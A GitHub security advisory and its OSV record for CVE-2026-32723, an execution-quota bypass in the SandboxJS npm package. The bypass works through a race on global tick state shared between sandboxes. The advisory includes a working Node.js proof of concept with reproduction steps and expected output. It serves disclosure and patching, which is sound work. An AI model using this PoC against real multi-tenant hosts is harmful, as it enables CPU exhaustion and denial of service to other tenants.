GHSA-7P5M-XRH7-769R
Vulnerability from github – Published: 2026-03-16 16:43 – Updated: 2026-03-19 21:11Summary
Assumed repo path is /Users/zwique/Downloads/SandboxJS-0.8.34 (no /Users/zwique/Downloads/SandboxJS found). A global tick state (currentTicks.current) is shared between sandboxes. Timer string handlers are compiled at execution time using that global tick state rather than the scheduling sandbox's tick object. In multi-tenant / concurrent sandbox scenarios, another sandbox can overwrite currentTicks.current between scheduling and execution, causing the timer callback to run under a different sandbox's tick budget and bypass the original sandbox's execution quota/watchdog.
Impact: execution quota bypass → CPU/resource abuse
Details
- Affected project: SandboxJS (owner: nyariv)
- Assumed checked-out version:
SandboxJS-0.8.34at/Users/zwique/Downloads/SandboxJS-0.8.34
Vulnerable code paths
-
/src/eval.ts—sandboxFunctionbindsticksusingticks || currentTicks.current:createFunction(..., ticks || currentTicks.current, { ...context, ... })Relevant lines: 44, 53, 164, 167. -
/src/evaluator.ts//src/executor.ts— global ticks:export const currentTicks = { current: { ticks: BigInt(0) } as Ticks };and_execNoneRecurse(...) { currentTicks.current = ticks; ... }Relevant lines: ~1700, 1712. -
sandboxedSetTimeoutcompiles string handlers at execution time, not at scheduling time, which letscurrentTicks.currentbe the wrong sandbox's ticks when compilation occurs.
Why This Is Vulnerable
currentTicks.currentis global mutable state shared across all sandbox instances.- Timer string handlers are compiled at the moment the timer fires and read
currentTicks.currentat that time. If another sandbox runs between scheduling and execution, it can replacecurrentTicks.current. The scheduled timer's code will be compiled/executed with the other sandbox's tick budget. This allows the original sandbox's execution quota to be bypassed.
Proof of Concept
Run with Node.js; adjust path if needed.
// PoC (run with node); adjust path if needed
import Sandbox from '/Users/zwique/Downloads/SandboxJS-0.8.34/node_modules/@nyariv/sandboxjs/build/Sandbox.js';
const globals = { ...Sandbox.SAFE_GLOBALS, setTimeout, clearTimeout };
const prototypeWhitelist = Sandbox.SAFE_PROTOTYPES;
const sandboxA = new Sandbox({
globals,
prototypeWhitelist,
executionQuota: 50n,
haltOnSandboxError: true,
});
let haltedA = false;
sandboxA.subscribeHalt(() => { haltedA = true; });
const sandboxB = new Sandbox({ globals, prototypeWhitelist });
// Sandbox A schedules a heavy string handler
sandboxA.compile(
'setTimeout("let x=0; for (let i=0;i<200;i++){ x += i } globalThis.doneA = true;", 0);'
)().run();
// Run sandbox B before A's timer fires
sandboxB.compile('1+1')().run();
setTimeout(() => {
console.log({ haltedA, doneA: sandboxA.context.sandboxGlobal.doneA });
}, 50);
Reproduction Steps
-
Place the PoC in
hi.jsand run:node /Users/zwique/Downloads/SandboxJS-0.8.34/hi.js -
Observe output similar to:
{ haltedA: false, doneA: true }This indicates the heavy loop completed and the quota was bypassed. -
Remove the
sandboxB.compile('1+1')().run();line and rerun. Output should now be:{ haltedA: true }This indicates quota enforcement is working correctly.
Impact
- Type: Runtime guard bypass (execution-quota / watchdog bypass)
- Who is impacted: Applications that run multiple SandboxJS instances concurrently in the same process — multi-tenant interpreters, plugin engines, server-side scripting hosts, online code runners.
- Practical impact: Attackers controlling sandboxed code can bypass configured execution quotas/watchdog and perform CPU-intensive loops or long-running computation, enabling resource exhaustion/DoS or denial of service against the host process or other tenants.
- Does not (as tested) lead to: Host object exposure or direct sandbox escape (no
process/requireleakage observed from this primitive alone). Escalation to RCE was attempted and not observed.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.8.34"
},
"package": {
"ecosystem": "npm",
"name": "@nyariv/sandboxjs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.35"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32723"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-16T16:43:05Z",
"nvd_published_at": "2026-03-18T22:16:24Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nAssumed repo path is `/Users/zwique/Downloads/SandboxJS-0.8.34` (no `/Users/zwique/Downloads/SandboxJS` found). A global tick state (`currentTicks.current`) is shared between sandboxes. Timer string handlers are compiled at execution time using that global tick state rather than the scheduling sandbox\u0027s tick object. In multi-tenant / concurrent sandbox scenarios, another sandbox can overwrite `currentTicks.current` between scheduling and execution, causing the timer callback to run under a different sandbox\u0027s tick budget and bypass the original sandbox\u0027s execution quota/watchdog.\n\n**Impact:** execution quota bypass \u2192 CPU/resource abuse \n\n---\n\n## Details\n\n- **Affected project:** SandboxJS (owner: nyariv)\n- **Assumed checked-out version:** `SandboxJS-0.8.34` at `/Users/zwique/Downloads/SandboxJS-0.8.34`\n\n### Vulnerable code paths\n\n- **`/src/eval.ts`** \u2014 `sandboxFunction` binds `ticks` using `ticks || currentTicks.current`:\n ```\n createFunction(..., ticks || currentTicks.current, { ...context, ... })\n ```\n Relevant lines: 44, 53, 164, 167.\n\n- **`/src/evaluator.ts` / `/src/executor.ts`** \u2014 global ticks:\n ```\n export const currentTicks = { current: { ticks: BigInt(0) } as Ticks };\n ```\n and\n ```\n _execNoneRecurse(...) { currentTicks.current = ticks; ... }\n ```\n Relevant lines: ~1700, 1712.\n\n- **`sandboxedSetTimeout`** compiles string handlers at execution time, not at scheduling time, which lets `currentTicks.current` be the wrong sandbox\u0027s ticks when compilation occurs.\n\n---\n\n## Why This Is Vulnerable\n\n- `currentTicks.current` is global mutable state shared across all sandbox instances.\n- Timer string handlers are compiled at the moment the timer fires and read `currentTicks.current` at that time. If another sandbox runs between scheduling and execution, it can replace `currentTicks.current`. The scheduled timer\u0027s code will be compiled/executed with the other sandbox\u0027s tick budget. This allows the original sandbox\u0027s execution quota to be bypassed.\n\n---\n\n## Proof of Concept\n\n\u003e Run with Node.js; adjust path if needed.\n\n```js\n// PoC (run with node); adjust path if needed\nimport Sandbox from \u0027/Users/zwique/Downloads/SandboxJS-0.8.34/node_modules/@nyariv/sandboxjs/build/Sandbox.js\u0027;\n\nconst globals = { ...Sandbox.SAFE_GLOBALS, setTimeout, clearTimeout };\nconst prototypeWhitelist = Sandbox.SAFE_PROTOTYPES;\n\nconst sandboxA = new Sandbox({\n globals,\n prototypeWhitelist,\n executionQuota: 50n,\n haltOnSandboxError: true,\n});\nlet haltedA = false;\nsandboxA.subscribeHalt(() =\u003e { haltedA = true; });\n\nconst sandboxB = new Sandbox({ globals, prototypeWhitelist });\n\n// Sandbox A schedules a heavy string handler\nsandboxA.compile(\n \u0027setTimeout(\"let x=0; for (let i=0;i\u003c200;i++){ x += i } globalThis.doneA = true;\", 0);\u0027\n)().run();\n\n// Run sandbox B before A\u0027s timer fires\nsandboxB.compile(\u00271+1\u0027)().run();\n\nsetTimeout(() =\u003e {\n console.log({ haltedA, doneA: sandboxA.context.sandboxGlobal.doneA });\n}, 50);\n```\n\n### Reproduction Steps\n\n1. Place the PoC in `hi.js` and run:\n ```\n node /Users/zwique/Downloads/SandboxJS-0.8.34/hi.js\n ```\n\n2. Observe output similar to:\n ```\n { haltedA: false, doneA: true }\n ```\n This indicates the heavy loop completed and the quota was bypassed.\n\n3. Remove the `sandboxB.compile(\u00271+1\u0027)().run();` line and rerun. Output should now be:\n ```\n { haltedA: true }\n ```\n This indicates quota enforcement is working correctly.\n\n---\n\n## Impact\n\n- **Type:** Runtime guard bypass (execution-quota / watchdog bypass)\n- **Who is impacted:** Applications that run multiple SandboxJS instances concurrently in the same process \u2014 multi-tenant interpreters, plugin engines, server-side scripting hosts, online code runners.\n- **Practical impact:** Attackers controlling sandboxed code can bypass configured execution quotas/watchdog and perform CPU-intensive loops or long-running computation, enabling resource exhaustion/DoS or denial of service against the host process or other tenants.\n- **Does not (as tested) lead to:** Host object exposure or direct sandbox escape (no `process` / `require` leakage observed from this primitive alone). Escalation to RCE was attempted and not observed.",
"id": "GHSA-7p5m-xrh7-769r",
"modified": "2026-03-19T21:11:10Z",
"published": "2026-03-16T16:43:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-7p5m-xrh7-769r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32723"
},
{
"type": "WEB",
"url": "https://github.com/nyariv/SandboxJS/commit/cc8f20b4928afed5478d5ad3d1737ef2dcfaac29"
},
{
"type": "PACKAGE",
"url": "https://github.com/nyariv/SandboxJS"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "SandboxJS has an execution-quota bypass (cross-sandbox currentTicks race) in SandboxJS timers"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.